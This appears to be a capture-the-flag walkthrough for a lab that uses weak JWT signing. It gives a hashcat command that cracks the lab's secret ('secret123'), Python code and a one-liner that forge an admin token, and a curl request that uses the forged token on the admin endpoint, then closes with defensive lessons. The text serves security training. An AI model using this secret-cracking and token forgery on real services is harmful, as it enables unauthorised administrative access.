The challenge presents a JWT-based authentication system. You need to analyze the JWT tokens and find a way to forge an admin token to access the admin panel.

1. Access the JWT authentication system (you'll be automatically redirected from port 80 to the application)
2. Login with the provided demo credentials:
   • Username: user
   • Password: password123
3. This will give you a valid JWT token to analyze

1. Once you receive the JWT token, analyze it using tools like:
• jwt.io - For decoding and analyzing JWT structure
• hashcat - For cracking weak JWT secrets
• john the ripper - Alternative for JWT secret cracking
2. Examine the JWT structure: header.payload.signature

1. The JWT token uses a weak secret that can be cracked
2. Use hashcat to crack the secret:

hashcat -a 0 -m 16500 <jwt_token> wordlist.txt

3. Or try a dictionary attack with common secrets
4. The secret is: secret123

1. Once you have the secret, forge a new JWT token with admin privileges
2. Using Python to create the admin token:

#!/usr/bin/env python3
import jwt
import datetime

# If you get AttributeError, try: pip install PyJWT
payload = {
    'username': 'admin',
    'role': 'admin',
    'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=24)
}

secret = 'secret123'
admin_token = jwt.encode(payload, secret, algorithm='HS256')
print(admin_token)

3. If you get an AttributeError, ensure you have the correct library:

pip install PyJWT

4. Alternative approach using command line with a working Python environment:

python3 -c "import jwt, datetime; print(jwt.encode({'username': 'admin', 'role': 'admin', 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=24)}, 'secret123', algorithm='HS256'))"

3. Alternatively, use jwt.io with the secret to forge the token

1. Use the forged admin token to access the admin endpoint:

curl -H "Authorization: Bearer <admin_token>" <target-ip>:8080/admin

2. The admin endpoint will return the flag in JSON format

1. The admin endpoint response contains the flag:

• Weak Secrets: Never use predictable or dictionary-based secrets for JWT signing
• Secret Management: Implement proper secret rotation and secure storage
• Algorithm Verification: Always verify the algorithm used in JWT tokens
• Server-side Validation: Implement robust JWT validation on the server side
• Consider RS256: Use asymmetric algorithms for better security in production